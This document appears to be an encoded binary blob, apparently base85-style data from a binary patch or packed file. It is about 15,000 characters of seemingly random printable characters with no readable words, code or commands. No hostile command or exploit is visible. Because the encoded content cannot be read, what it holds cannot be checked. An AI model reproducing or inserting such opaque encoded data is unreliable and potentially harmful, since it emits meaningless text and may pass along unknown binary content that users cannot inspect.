z7nIl2PJkJUZH(|%JAIFEEj<5Qo5fb~M z!8k@s8Ymv+di4AfC$w`qpbc?vZuXspuq(7_YSsZkZpvAF~}`y*$a z#xBZnp5${|by)+QMlpvsRK{}5oMhu5SGm$JD6OI68v7EnV6z&-m}Pj(#d11`V58*? z90R+UHq&T|?Vl#BQI$7wId%u{$J%;!Q~MqMb+vU=jrS`#G+Fx%{Z(I%@b%?1Cs1>Y zhLU+a4rvUqUEWwpV+g15#tc_eBJA;mE+O}r2m~vW2 zGuc)SopvuZCbpYtj^wss``Le16R*;!EU7P>+f+hB#K62q!;x}7<$m9cD(b9IK;<;= z&@oP(gXw^e8wv)Q-$@^e!l5NY>!_SwmrTydj4mn6$yizdSkzTqpYCtp)}O7}?U~W5 z_JX4kU0PsfJhvgvQm~{TCo8I>L>Fxj!#O8Ex~RRbaA`*YxaiMMm1uA9l z^Eh5EYu{(_etqyJ4H?nd?c-x^u+2WvrG+`sB__vP)I8nTXYr>9BweFd6`1Ml8eO`C z!jEjr;wEq8btQ1`;6i7$mXTTUd=GW{L>E1C@W{5@UkQ&Y@xqUa7rsD*A3d@y<5$9? zO1$u=$?*F;R$vxh*4}hbyn=C;wKtBUo{dJAE~LJ2wqu{i#-8>NlE}cwmxQ^O@7C)1| zWYpwseYQOqU9>(NXT&*2TGk~Ca&iyEkl-;p^~LlY#4xsHEKSe(xqV4`4swiWvtby4 zJ(#h=+(>`3X@FbiF~049ZO@=navkohqcvG^TC-t;vpu;q+QWa|lX}xJ+EF)G*Nq)& z8EDx2hD`Wp#9WuAU$U)_zg;`Vjx|0u>8NVUq_DHw&6s~Qts}bhnLKiEN5@*Ni_$m^w#L@O7qixvm{}m5Iq%fz528j_x zqdZY;QZ`xJ_M%ao9sRkT^z0~Yd)hvWE+xm=5bPFbE#5p6vNRoZ;E2X_e77O zPUTgp{*BHqIZ6PqN7kzf6xZj=$!Tp)1jKOL9eow1A3MzSJP0?M%Fx_=a>ST z!l2h#8xC5}l&`4(w28GS=y|3>O+}!8uy({A6$6es`00bc{P@VXZrghFb)UW3`Q?Qt zNAEr^{Nh7{?>@zER-O9t%mE({FFWtF3%+^xz33fvmq%w@ck>nm;3dDbc23=}sE_S)Bq`0vuP85R9Om)hP0fW$8CF(bUfQTG1+h{i%{(qv+s=lSmCtCJnKOwL+G%NV zepYu_y?Tp;d@uyzv;1!Lwr590pFfhS7TPzou#Yj!uEcvS%^dz4RX*{(8~M@`AIMBP z#pex1@<^xJX_gWu%cVrrJfM9-9uMtzhfm1krTy_Hz zZmoA^O6yYwdXfsf6hZ%r2h@eSO)fggx}-WtZa3g6UFx zbP4NH{KZlUG)pD8QYxWpxvsp`QVFk@N@R;rBA#>+IpRH3`uK9BkH0`FfikHC7fU77 zCY8M5a$VucQi(LWm9WRNOe)^h?#N+}uU#sB`eHZ!W2o`WANB;+$T-0bQVDIBO5R2p zC)_EO$Y!Bj&?>3qwMr#CT(&2&R`~cm?Nae>l!|YMRQz;5 znX^~@fvI9${$Qr`31v$qZ-J~8-XfJqKdi{Pu7GE#RJ`e;g#llo^zr9NpFn|Bf@M+( zc|@B7d10x9^Q975EaC(`?@7g5Em|1#MMa#Tf0^_N6iJ_8u~b5f-RFyNFmJl_30F!b z(jt_QXSr0ow@Jm&w@W3^PaGGK;9?mk)GC#{wNeSUNhQ+mRw5ox zhg7^9rQ++9ihroPg%M9+v-AmWl}c!bRPwr{5~jOSv0JTkT*MQ}5Q^7RDAw-vW=bF5 zI`{D&@%nSzXW@u9P#~3HmW&h1mP%f(RKgyqM8ZPBJ6&R3K5xGC@l}iM^7*6EC$K=q z2^LA8&@ve(uUPtow@9DJ0{2lF@q4C=T7GY(RD3N`@vo3dV1;P2KX{w;2{lS3Z=I|a z-XxXCYEcXCbcwA9c-KfD-`65ez~3Q#0vn|g?37CAJ-M#Db~FcJz4l}g@Fx%O~CDv_b0H}X7%B2J!nxTuxqE0&7COvVXR%Q(SiSu3b z@w7?B+b$JfhgAHl#kwMaC#4eHsB7UA!M8zgzMak$DyiFzcW8zFM)P^RzD`{$rua8Y zC9ui0F4PKsEtSxASu5{rsf2e*C6bQMrZC94mFkA$g}4d9ZZm!DXZk8jQ7!a``n%?5 zpU0mUkV<&6R3eQ+33ygW#rvdGd>f?V-!7HFPN@X@xn@6~ClESRDtSYt5?(Bo$U33m zoqwr#`{|y6?9*VRQ79qL z3aNPe>HV(S6Y^zB#ou2lfh?&650y$NTPk@uQVHj3g?fxWkD7kByT|gvL$!};VP3=| zl&~kPm0^wL&5b#8_$z)mH1Jt%IkLf^kESkp7#S9P6}PnRe8q;5ZS=vHp6l`TJ)u;W za}-j^hn5@pm0n1xDVbC5t163Wq*RspNOUNKt75ht=fQ3Y-Hc1iZhBp>!pe6kn_;a* zLu?=V94Q|MsjZkMJ_~Ru{h_RKDMvt|gWay>g;L~FMo=xSIy zxqLp1DXKjvGU(HT9GB1D*q_-@Y#)06-sAF#K*@FaOn@@n``WyiS?N>uv{qgyKQ zm1SCJ+tSQ@Lf3LFYSfp{oJK=<+ME*HO+lYPO{=V`!58=$?GoIgQ_?U^iw(xi`r4*C zN7WGskUzpZV#K7nlKN5#Hx04z9q#h_{QO9Mgl^`c2&G)s5HoQnlUg&a)X|2DDtt-5 zw6+N%zJOoVScPwOxXrMkR%C5J%$!-?s9K5RR5|E2TOPXMF~QkXheY)p=Gf7r9o86^ zMU6Ldnrh~w)j4Xd&UWPR$c$Ius$w_PRly;<-0dA;xcr^Es{(B&Zkg%ySb{)a&`$dfz`gpc|+b{w!L_R;c&$7^+i0kM&$K)LZMK0w$JDD`twMc z-nZ=X4C9?4kDm9pA!){Y7}>NqzY#<>eIIBtj!DNs3i|TFGz%0>cg}R=SA=v^pEToBBwENj z-|*x+=Qh%-k-mh_xoOJp5X;Y=0?EzD9*o;()0Gbkc*!^N+nuum>G?=Y(QmE=*AD2| z;|fk5GjdAdl$a*GoR3&xKeck-k`**Jgj69?8HuQAMhDctDer%q`o zuWy(-r+jJwzKdU7TT<3AwG^{WBkmqKHZXNYQ&n}@)Y0QgW|xntsxEhwH8hqqR+SDb ztE!)hDW!5MA6e>kY)wOBQ9Ta3^7>(=!)j;D!V`an?@QlT+=wTl9b~M>?G08wuBsGw z>eN;=X6H^kI(tH0W7V9h3#w{nW{<{K%CN?I>ft<(-`=SfI(N}+8T zf<)WZABoQC)c&DJ^gT5?WT<`FNF$LjqPX3(ebfiXBT;+l%s&E&w&z47>O0zQAJQ>M z!;q*yjzpqu$8B5ugeTf&>T|l>I2MUcmtiF8PdY6gfkb^a2x%ZvvJ1WOV=Y&K??77U z(5y1bi?AV-jzp(YS`DW3Fwz*L4v`)kXc{jeosSLL1D$s!$|=>v(n-*))DJtvnQp{R zxDz|<0c+4W8TBzwu)Mp3;Hz658-1t}cFzq#>mv?PiqZWE-Ck%r;gd zUwKrvaXxZmP`1&AybJcu$N@-uAY~x!Y0QEC9sD0a{u0U;BhP^UGststvyE$zXTp9N zc@gZLk%N(bgVYacFXI;IStx%4`COFGN1MLI73#O6kt2P5(B8&}Nc*B+tFlewUgTfE zm(q6h*W2(PkA6KCsQ~sy*ahGmq&v}Q&om|s$TV6H$TVKTKG_5NX)g@i zT<~w;mx=nV&>lqo7V=|J_9Oc2NA%ec#5(baY~w`am!iA~`3=awMk+-53F!=^=#kmR zMT4`A>4;Z~7>^^yZ;`LVx`$%jC0KX#z)T|x_9m>iKg!#Y?}mIJG(UVQ;ZtzLbYt=0 z>BcY|paHCFCdz&~YagTv^QW_BnX}+`z}fpCRhS2yJ13Hx9qAJTB7F-YejosY6g?@?+(C#t2yw5(y5}ODjr19|>20)gC)#@v z>@uVyv27EfeFE)B9CJMAAXGdYv?B+e;)Zu$ZN3vcaU#E+kD91 zL7t1g`wLPn+ER>qr$AeVvV)P=BTqw}Nhm)9ZFmqquR|Mxv?toN3R)}jzat+6{|lfW z2j6Frj)yi4@t(l;(Ioa0(ltmoqn$S*zYBQ?ek0*G4{^8Vn8sPywv6dGl{aQ``pfx; z8I+!hrFW52x<8g)Ku+n?SXzgi(krp_IdV!?{fZL$E(psxXIO zzut-cP3fmt+K8Oe5bS?SXT;Jx!H0B_^F$Pa{LRt=u(lW%PG#l%p^a<)y!WEwJ z4boFc$6^kD8+jD@-N^Svek=N((w=BvI#LjIDeXi|O6MUar7X0C(m^PrbOba?Cx9vK zk1|U1mUG}bmCm^yPf9`h`;98y2&Q!24JuXKgxl4Stnv|vN9l0HqjVdX5~ded+Jt>c zX&%~tA<~c7PD&HtM=AHd8##6Cm*0odx0sVYKmWWw&mesXKT0RTk5cY^w{Thkrc{sh zQrZR|N)^y3-Mv4~_t-v4Ut^4(h`HxKgQgpMA35C^jX5Za{37H(J%Q_(KjUPb7!=FY zeZ=g5o5GRP4YvyTj@|6oBN0%7_i^afdqp*h)NR7q)^iys4&4M#IoSi4 z(#%GZVo#A^?^1GB%_BndC{wpB1L*$YPyoO;wUdB$dPA`i0`*7;2;5FC0@1?&*okgy zj!by`yjy|nm!kOcRG^Ggf)P9;2BX0=A58oJCLV!E> z70is~)v>%Lma7cD=ugDp=Yr6mG!PnR;H3#K>SkKBiytUb3W4vqhERhWui=C~pj_QB z%rfpk&c=fxI8*o1W~+N>;mx-t!#kE^6}au&ik{84A;&B<2&HAn_>mT@QX}yg3DRP@ zx@8^$KVJelc6T{B;6VYDp>>o|D=9~#sZ3?+F%Pim84$?m)_G+3ONlbNnHw46QO1wQ zKu(VUK}JtqK;A$v^au>f=r(O+>ZWz{f9$CyknopRwsjXZD&h8Ns#=K`x^r6f9d1ZQ zFQJ(X^wdzFkX%nMSeaV4 z6|=^Q8G|r#IvTC=YVBYV9*?4j9By0Iqb|lY@GRLz8h$a=COi(q^3;Utv6vR1s!~*r zL54BIk1oL0({1*2Ak|^3=(cd)a_T+YzK;wehB6u;l+%MHknwX^kfSr$#I5_V=*b_* z(C?Jd{rt#KlQMex3zgA>Inayr!cRd#h9Lk;J&VH8<0z@E#|!Q&$15EYl+o*aBAS*P zkW*LFQ%rzXu4ZOZ)Uy+a;O?{C8EK*4cD%UQkDr zqln^!4tY5=%KOWygVX=I*R}WE%>Aqxe!snTzt6u9GvB$Mb?iLbV29iyI+9S%KYx9cR8c;sr#0CtVcPImGe+nEM1p%NU_5@YMFLrJyuSb*p&>! zOKkoDmmYD5yw>I)FbIINXe;^BCey9!@m+d$J-N#TT~6toIqr;8I(O@m>3rM?7o6F# z+ZkPUJc<+jX+336kiPlnx~)Lmw|?%c`!cjYACPZDu|0 zHu#@=tpN^`eblg38g@g&hG%XsIN9gzqKojQmF%yEE!40}8a6_6d&J59Z?eCe?B^!? zx3!k-*RaDHHc`VqX>JQS*&eQq?8t^q*RZb|woY@q%E^v#t?<9>0w=q^9WEQTVb3+U z-JEPCcZBTThE3YA2OG9pb34$m1CE1*8LSd^!|vGAu~+dM*r&EaPJJA+1&%rj$6bsg ze}iK;!qHn}EwU|s{d;sKKhpur*Aua;^53v4?$21?>xBJACSxDvSFjK1HmolmkG;D8 zf}N9BVqe@}v6k5t`;**^y^>$YPNdt>k2&z}2ESZ*?1GDY?_%w97W&&8eXW)0hF|V4 zxzEU$Ei*823MW^R=~LKhdEumS1*3u8CXXwaFVf`c1#{f@DFw6eeG~q7I|nq89RiwQ zFOmKgvGVzR2a#n*h{CDe3Ocw}&!Ygc)55XbXaLPybQoG;b0r=Ezx&_f)y}ycGK*v> zbw`vmZY#%bn<=W|b_jU22GH8xH0mru;Q}q8zrcj>{J>bc{(1+n{esxM;4-dv*a+7 zN9UtHvg=AwSM0D-&@tX$B2ELFt<*$|XwQ{N9lOh}2~DCJF;m;5XR++xQlDl z@yGum3#mq#7F~i^$TOr&i%vl-UUXwn##jW&V)Oawrr@T-_S(oJv$?hR*_ik2Qf!@3 zuM0NG@IG1b6d8@^!d9y|tHvysr~JzoPs3O9ucG|R$#LJ@7c2&r`e%PG_2B>bhYA%c zR;*CL(+}xZZs~tnLg|M?{*;rGeY6VFSI@pp-LMf&zI{=}>qZqk~5?+(JknlowQpZcm?%ZsVGhFJCIV`&8+F z+{Dfm`g?r>12tQr@V1@N8J#WFG;$g5u}o@QrOq17dl^4I*;eD z>--;&lB6c}tkPe4Z=$d_QZMd}WE>}U>{WI?vKP?v`RK4Lt@x3hWasJ6Cqc?&6Oi?`$3^I|EK>-KCR<@ zrM9n}yfl7i@LX=kQkzAUm`s56{@XXKR`nVum{0*j->_63O5dhE1 zc&Ddg*<{8&(CY0H>e5)X&1JLbF0Ee6j(B<(xJ=S8zHq6_;P`=3F4sxS86}Qr-Q)?> zjZZmW=L@I0lb`gP70T{bL$UZCDKj2#&q^ep74OR|t5NYvOw{6g%Q$ASJb`GITfW&J z&uG!_bUQok1JFg8Qp+~g1C;2n7l^s&?%+w63QV=Rl;A(`R< z@@~}Dy!cF?YDcoAw~;*Kcg(s!G(_3C;&ObZ_$`zut80r&kHG)(`0q*nS9*`%rBwfm zWg~#>PGAm~NODo>nCx^e6T1rDBb6@K?;c4$UKGnmt?WLPF3j&9>0NZEc%b)4XO+sX zxU093DM9I&>=IlecH8B^cCsxpCHTD~HIgIo6lh*5%-mS?dq-M}95xTk>d@wMv!q2W zOO=GPu5<;mVzO&+5hC~ut~GXJMZCmjY{(7Gu+o8}bNmTwh`_LXlHi;gc|3iHi)BVa1K89R&`$>&f!M#Aw%z_eX-W~rPu zpU1A$V^>RPS zUrTMQ>E2(JES-EN>Lr~hxrrryY_TJQym1fWc_nQqy0>0Ev8N@JK75lECnyie=aBBD zJ_%jm!gr|nSTbNdcG#VVBF3%FCnOxe_X){;R>Kyt?f$1>=B-)cy4qhxDix%xE2hnA>61FJb zj;N`*6J3Wk_gRFyMgAuN%@@h%{Xg!&l~kRsaRTvDV&1qdI9y4UGqmWaSo>omjn#)Gea_?Tqd8fzs8aEF z7@d-G-m@sj#KHl15iF=Fub=mqXi%bR@|;8=eXpM~&3G=)s&zS0*mJwT_TxmB~x z&EpJ8#O-(?Gu_NymfA7iW4GXwm!AE2CPJcZ-3ciA$WIlMTQ|10TfoO>YI()O6^#N} zVH&cZ(4nB=`v}Rq*5SJey$8y>VK%-VwzRl=^m4~{0AsgSEUFCkNT?;x=Obeo(|w1<4VIB%RRUm@TNyb$Q8SGtutYTmfp(Xfmb*ucBWu#x&nvUE5s z-P_VLi>ku1>BU6{m3rS<=xVvht*)W8jGdoTe5Ra6cGNyqB|tmPbFyHr7SMMPDy;Vs@6tm&&sE zukvG7Ddg8Db|h1LgSS!qL79WHxnK5SYM>804zu~V>=xBZx5&?KQN2_Pd8cd#G%JRU zc#4Y$WPVPm_oi~H$a;U;*1VICuEkYytIV=^r^6c$id>_*s;!h;sHiVydj6?H&X#Yd z4eu$sJbi{23dxn5;T?od~YH7j6S@Mkh~}i-&F{|W|bLU zVRK_}K~3pQycsJ;|C#pZ-Vay=xIU8SF7&P4?AY9yRPX@gffpyykbh| zq{8l5CU|F^HOKH*V9+hQcdi7>zFM~a2K*%g6kmP5tuJmR$Jf)*INiJ zkZudPihI>@G3AYG`Mmo))PmQ9U6U!O;#FrL`4;iQujjp_JlyOg94tQYtrE4*??mD9 z!JrrLCsRxIZ0yzw!%mA{R!VfZ)GKFE%d#7|7tY<|b#!#6NpWVe$D>Ethv4f-i?SQY zC%V!W_n>j;G^!epb}4w|7>{=rhRTY?oPqOo<)vG!NZN%flukk;>2LqIv0Mv`f;As$^#*Qu!I(jK2YwJ?ow=cS1!^ zBX`xQ?5EM#t(AsdS@zR}Pl4`bH^6E@VW|Pa9{?>smsjSdmrHKaT)LTDx|N^Hwnx*; zrDD=tx|>|Om!C_s6mzMNG?$(xm!9S4a^alx#w90dF1<`Hy~@w!Hrykb)^opV(p-9* zTzZ$E%WDs(m&>k6bLnGp=~I3#zde**F4dCe($D15ul!tErkG3hq`CArx%4kTmp|d6 zWLnRc8cA~*U~(ByelB<7_M)_M*)3@AE*H)61gL5dkwOq!9rfSQa%DnFyHGt(QR3Q04PU->o}iBx_@SK;r(XTL)T^IDga zG$Xl(#AGB=`58TQS9%#$O`6fn?2JSzKclsGrkByKNi&+2osmf8XOxp-M%9vLG&?&Z zk;>1g`Hb|&sCv?j=459iQu!I3cSm{|)kvDryzGobDnFyix2KoUZb>te8ywARok-

EUqhMuDeHDgM1JB&*Nh6_$ zy?dZX3Lf_Efv;`}pNGABU{VSm_U?fLQt+^M4=lSme68%=1LvjSVecN;HZ6P}_U?h( zQt+^M5423d!`?lx`lj%;vUd+$nu3SDd!SMZ9`^2m`~Tw3A`hi7EcPC>!(o;3S!C^0 zk43^)czX}ppcFjpS)^JD9`-Eq$dvH4vS*P_DR|hk$VZdI=V8wx*QDTK&mwhG@UUl* zr*8~jD|;3>H3biQ7TG*0d>-~JG9d*IdluP01rK``d1+$!TG_M6x$wYMnhR1GdV3c6 zc7i9Ju%AVy`YZyUMGi{A!=6Q6xxrJagn8Jr$b~6**t5uQC zXOXwC$7j}?tb}83&mvc(;9<`qRa5Y=XOV}-hOd=9i*!uE!=6R{d42di>{(=F3Lf?> zQX3vPi_}kH=(kcZHdlq@~8g~|1n>{S}^^t>df4*EhD(e?n^2Svuy9Iue1v?C67IE{Mc)Kwi zOH^~QCU4wJ(zMK92Z(-W;I48T!O-1bkYy;UF)TW*>|Y(=?-sNyyMbrlfr(dVO*z!> zpt7qIWmLKB7D#8QD*d`YL@N^drznruQ%zg1pCQH^2J>1W^BR2`8<{nmKX5!IvW{CY@0AtK~Hm)fgtNpIw!B zZ9p3JtLIHeRFh7q`Ze?#ifRm#*3YiEOu9Uc`sI7m5!IvQu_u)|-{6CaX|oZ0|J`)fgr%qrFac{l&g%m~<7egEt*fO*)}g0XusQMKy+jR{=Zy z$ydIltAK^xY(zELgqnWcyoRD0!=%&Ct^!u$u@|OMzdqh{L^bJzsvn+3o=4d7^0I#8_#xQC9>?&YI{MDlH^&9L>M^uwesQMLo4MjDE zN$Y1<0bf2Zjrxu7rX#9JCsh4Lc@0H1hDqyZR{_W3H8%YG8|_U;RFh7q`i=7%ifRm# z*3Yg2b~-nW`c3qvBdSR!RQ;xS4MjDEN$Y1<0V|%9M*XIF(-GCA6RLjGy@sM1!=&}I ztAH=#Ow0?FKaO_!W)NhtI9Z^j>q3So=YbdHQOjugSIY4UTk>AO?5skSaf#PZ)WBu5tAL|U^G(B~tAI4<953AGBi z+-oSRF$}y4cyte6`I4>zuJmRjs>vqQ^jqaM6xA3eeHPnQz~4?yqke0=>4<95301#! zUPDohVbc29RlpZcNuz%2z3GT*(g{_+4PHZ0jbYOI*;T-6PfnwL8@=g>YSIZ+zt6me zq8h`b^|PyhM|Vr3ew)1Mh-%UaRlhA>Ls5-k()!s|z~4?xqki9d(-GCA6RLhcdJRQ2 zhDqyZR{>w>nnwM$deafrq!X%szj_TtHHJy+XIBBQEli_+8T=jA?6=RNnsh?dFV|}* zsxeGjKf4Ne^a*LyuZlMvQB69b>Q~)sD5^0`T0grA_*<7W>Q~d7j;JP`Q1z?jH5Ant zCas@c1$?1%8uhE^O-EFdPN@1d^csq443pN+t^!`$DUJH&d(#osq!X%s1ztl@jbYOI z*;T-!k4vL|O}y!dYSIZ+zouS8QH^2J`q@>$-#VmGzZTwfL^bJzs$Xlbp{T|%Y5nXf z;0wpPRlsE((GZR!fd4)!jrw)>rX#9JCsh40&e*L}ah-%UaRlfmVLs5-k()!s|z<(c}M*RkR(-GCA6RLhiUPDohVbc29 zRlw)kq*1>S-gHDY>4d7^D6gTY#xQC9>?+_@t<$LAXm2{Ansh?dZ=BaqRAZR5es&e` zh*oLTZ=yFHQB69b>Nmw}D5^0`T0grA`0ti!)Nh(M9Z^j>q3So?YbdHQOjk1QrYE8x(c|`n~kU@n^4nlmDf;IW0>?=Y*zulYn(>?)_Btq)ua=ue(Su3q8h`b z^|PyhPac>?{nmTa5!IviVq*1?3-gHDY>4d7^7O$bG#xQC9>?+`Q`=wF8Z@uY=YSIZ+zaPDZq8h`b^|Pyh zPwtyW{kD435!IvUgedfs$IHR*(^Uqi22>l?~FUU%odTQB69b>Q~@36xA3et)E>5Y`Iq& z^=slyM^uwesQNYa8j5NRlh)6!0)AI7jrz6lrX#9JCsh4fdksZ3hDqyZR{@`_>sA4u zsh>s}+j_GS)npZ_jP1RKq8h`bWwfh+m(}srFX<{^2X8u}nsh>~0(SNqifRl4uL2%Y z+gHA%tAK^xY(zELgqnWcyoRD0!=%&Ct^#h}GmZLn_ogGNNhehOdU_2-HHJy+XIBCL zx*Y;HRFh7q`t|l2ifRm#*3Yg2UcP%8_3PtJM^uwesQUHu8j5NRlh)6!0v=K` zjr#TXrX#9JCsh3gcnw80hDqyZR{=NgmPY*sd(#osq!X%sMP5TujbYOI*;T;5)<~m% zBfRN|YSIZ+zfoR8QH^2J`q@>$%d4kRztP@wL^bJzs^2)Tp{T|%Y5nXf;33u0sNY0y zI-;6%Le+1I*HBbrn6!R&6>xLaH0n3an~ta^oly0g?llzE7$&WsT?PDWl{D%%!<&w% zCY@0Ao9Q(a)fgtNpIrsK9Dn69{9PQgyy=K)(g{_+*$&ADmRZ@xDjQB69b>bJmaD5^0`T0grA_}7YV74V5lzA`Sv zZG7ebjo>@VZXtgoShB*ESaUC6_^j-r+&dL~={#R{XQMyadwba}4+LQ9lL^bX(o+yR(jJBHE=q1LFcaR z@^mfnSHayMDo8pytGwxm8aN%hzViBi(@1BHHyu#}r(>5pe*G_PV?Qb{{ZAU{eCAC@ z)WGT3Pp;o>OCz04-gHC_oR0kK>Q~d7j;JP`Q1z?jH5AntCas_Seth2D5^0`T0gsj^u!lw)UTH}9Z^j>q3YM$YbdHQOjFlH`tqw zs3x6I^(*okifRm#*3Yg2KJkfL1$_E5Um25L@f_jJO4Ptv*+secKK7-P^xlV2-gHE@ z>4d%ap_(_Fq=Pfsn~kV8o51%zwBP6(oTTZD^QI$e;B@Q?(iI=2kl|Ck_PV?WoO^^Y`0XTCQbQ3I!AKW0sQH;r@_c+(Lza60x= z&%$@yr=AzQgOv2*^Yh-UL^WB3`tZ2KYbdHQO#0!`e#{!O&NnNP-utlBn~ta^oly5a zEcY6UY77J4`_O8wuY5_T-%4*bqMB?%O}|xMLs5-k(&=aKefZ(6H0rm;n~ta^olx~# z=QR}77$&Ws{p9-enl$RS-kXl7CY@0A+u$`6)fgtNpZ%yj^vyKtx6zx9s3x6I_4~|g zD5^0`T0i^Qyww|N)NhkF9Z^j>q3XBAYbdHQOjopYB z7$&WsU0-SSS{n7M;!Q_XlTN7mRreZ-Y7CRs&o1cvup*86)%2z#s!1nQ{c3p)MKy*= z>t|Pxo_;lr`qlHMBdSR!RQ(!y4MjDEN$Y2qtcJdlM*Z@=>4<95301!Wuc4^MFlqhl z8d1A#e@VS?LWxTcQZ4lf>2}Q%o*cAesB((KrB&yA*MYPX-iQhFZoV*hE^kp(*x1KO; z_rj?NLiZ+hE@)C*k^Qag?JxEK`JH_#aHmIEEzsxo-ad3sH~Z+0JY zhIK2W53I?dWjtCqcB@@@-S(nO^tYv1i3T*8PLmngCKdC>C%s*xvv-I^wL_fn?h{+O z7hlM#S;b)k%P74JZ(#ppJpOs(lir$C=q;zHwwz&aO&Yw!Q_U;Nsb*OF?-pmG< zx16E|E~j1Y9)}mHomo!npX>2YUd~?La*7(boOboQ&2u}qoYw!DXS4m2m$SFGoT3IU zr(F#H{F&@@(tPc-{ug`vlb5rPx16E|E~i}^zhlA9EvNOb>+w%s&VJr783n>%a1;Z2#ot?C&k7sDaCASI)ORnVn9WPj>4+(&L}JoCCb&6g6-;?Lzw8`8&6q z*8gCSfAVq;_LfuBz~!{->gPVObIWP{KX^RbKY2NeyyX-%a5?QVdv#AbX+GJl|CGnl zDCY=oIYkXzPP^*aoSoMHzDM24>Vuw9%^RQe*35C5CrmC7twk=xN?`L^bJz zx*dAD*HBbr82EPRf`@(O!>=QjJ7;i_;`irF`B$tkXJ&YF7B$_RTRh~;IqB=nOm8-# znruS7&dl-}ifRm#zRuVc>u(?Q)o77%2*ensU;O@v+Wc zTu%Ohd%ZUuQB69bCd~$~p{T|%>7=pO%f6W5tKZI7=n&cnfdw)oN8pL8Anm#&eh zw(ALN)Zc3)sx>NIquWQj8r_BI^nW#v21wVl=8>qj>j`T#*lQ%JH7Z@BA=kMY4aamc zHOkE!e+PPA#xFugcQOtuy9LfzMbfFPGnS~PQ+eZ>;y`6@VGy~=bHD6HFdTtHONUFG zA4SS?b9dZTa8tLe{T=eSM?{&8;5N#eo~XtUcNww@WtkPVD7!)7_@!nOjTf)=4c3gZ zhaxK9@UmMVo6+8EL^avujcZo!I7Dt$%54P0aX7RYERnL@Ucxw)y?sUG=5DDiZ?GnM z(-YMg;_dS93|7ms8+bOls5vT)(VF5-M^uwesL`5+Lz~eODa$R)XifK~C#o?_I$HL_ zP2a227_AxJbVN1jgc_}xIJ6lpk+R&vjMgk~dZHS`q@!gQy%vl}W3*;_(-GCA6Kb^P z;Lv8YM9OjtGg|Y!>4|C#la7|X7_!S%X^hrq)+!v@jFw1QZed1ijW<0}jbYN!vNzTKdSx1;wa%N4s3x6IqqQD~Hlrm{mRp$7 z+Tcx3RAZQQwCpcioH96#(c0)uM^uwesL}cihc=@nQkGko(c0uqPgG-=bhPa6Q_UKf z#%OKvrX#9JC)8+ti$j~y5-H0q%xL}SO;1!~m~^!4@1%S`AdS)5>P<&flTN77`W1&Z zqa{+7TbR+xRQ9c_iE0d!j+VWzzw_m3j8?8U9Z^j>p+>6;4sAwDq%5~EqgCCTo~Xt! z>1f$|qi?@7jnS&nUg+rUs5-H0q%xKl~rYEW~OgdWj{?bjCq%m3zz3GT* z(g`(M`8c#0Es?U^!i-jdH$72}VbamE_vjsYaT=r5#G8(&CY?~D)f9&|qa{+7TbR*m z;Z09eW0-Wb?0rsC`XSAw#nZflmh>uDYsm^H`_k7zMKxK4y2{lShc<&IQkGkot6c59 z>4|C#17GD@-#3kCSO;%5qMB?%J;OTV&}Ohi%5n?y3@h}eC#o?_`V6zXVzWS|Vk+ zg&D0r-t zp+;*q4sAwDq%5~Eqcz8yo~Xt!>1f%jT#HUmW3=XZ(-GCA6Kb^P4|C#la7|X%2oZeG)C)rZ#trybV7~R5**r$mPlD{VMc4IH$72}VbamESGmsbp2lb` z_ogGNNhj23t;C_tXo-~N7G|_odD9cs7$zMpdzEYcDQS$>8gDwHnsh>q);b*8jFw1Q zZed1iy*E8kjbYN!vRAn(oSepJZSbZes!1o*Xl=xy&1i{~7dtvfRRq*0PRPha#s3x0G&#+t^ z+64<952{l?ZacDDIB4xRS8Le90^h7m= zNk_|G<+{Cd8lzRun~ta^olv9I5QjFSB~q4Kn9<7jrYEW~OgdWjD%Ymt(ip7*Z#try zbV7|*6CB!%mPlD{VMeQ|H$72}VbamESGkVtn8s+e@TMcGNhj23wZ@^%Xo-~N7G|{C zdealt7$zMpdzEX-v1yD}dv7|Tnsh>qRtFr~jFw1QZed2Nvo}3ajbYN!vRAo2JUWfh zD)go!s!1o*Xm!J(&1i{~|QB69bMynSNZAMF^ zEVnSD)!Un%sKzkqXxXb=*B_b2X!Y@?BdSR!)M)j?q0MNCl;sv?wEBC~6V(_d9W8s6 zYhBwkMr(jK9Z^j>p+;*k4sAwDq%5~EqgCWhPgG-=bhPYMt^4|C#la7|X$~B@*8lyGNn~ta^olv7S5r;OTB~q4Kn9-WzO;1!~ zm~^!4Rj$9cN@KL9dD9Wqq!VhirsL3Nv_#5s3o}|Xyy=N*43mzQy~@?_urx+%rZ*i? zO*)}QYZeY|MoXkDw=knM+nb)K#xUt<*{fUwTcj~sbG+$@YSIZcTJvydGg=~LxrG_6 z`QG$IHHJw?%U{Zusj&j&K$r%}Amyu}mMq!X%mo3e{1l5tB~JiDBq zcVHUD+u|*rs3x6I#rrn9cp@3Mq{XwV>u(pNQM@0$#S_(}6RLPyvx_H^aZ6e}yV!l( z{%I8NS8wq|HR*&ZUZ!f+Yo18PEot%W+HTWq8Mmaxvn#V7?vqCGYI%z%s!1nQ@#qYi|vc-n-t~TSHMzR-x`)Z<}31 zk+R&v+`Hc1o1Un~Fz_EO*qRFh4pb@R?RwE0LaQkGkob@M`RdZHS` zq|Y$BZaJ}T8l%4X}s-Z-=wEs?U^!i-iQZ+fB{!=$5SS7w{mN@KM8dD9Wqq!Vhi`s2`Mv_#5s3o}{+ zyy=N*43mzQT?+p59%+o$U~f92nsh>qRuK+uMoXkDw=knM!keC`#xUt<*|q02HPaZa zQQmY!HR*&Jt*YnC@1QB69bMr$?>ZAMF^EVnSDHOHHtsKzkqXxZxr^>$5TwB~u!5!Iv{k2%+@xz6&wJAm)ua<@w3gt|X0$}g zatkwBOTFodY7CQ(mc2r<1lz5LAFbuybVN1jgc_}tIJ6lpk+R&vjMge|dZHS`q@!go z$?R4sjnP`;O-EFdPN>mZheMmu5-H0q%xJCmrYEW~OgdWj8c-kn_2cl*tqtCEL^bJz z8m)~uv>7dtvfRRq)@R=IL^Xy=w9{cat|AQB68| z;||7we)l$LxpBDcMljrhLz~eODa*~>IL!OA%f9K_-8fukBe;F*O;1!~SafRHf9l&6 zvgpvV8{lt&=MCGfa4KH?Fh-L)7c|*i8JD=Kp=a_J>YHq$KCYmqd#4zENB8*7G5)!8 zL5IyX3Mb=R;r69+m=5lTycaX$mlm~(dFGBAJ*4}+DEppL{+z9c*}nDM?BgsO1AUl zaRu@->cpTDQ*HCUap$(L?1pwyz{zV$Jp(uI6F2ERd8x0C#d+JeZ!bi!8~8EHo8TBP zBdh=YzntCVUxkY9oBNVmX$K4KQn~cc$$qL*b+_Git>!yM^%{Bm{O|Mly~x_7|K(ID 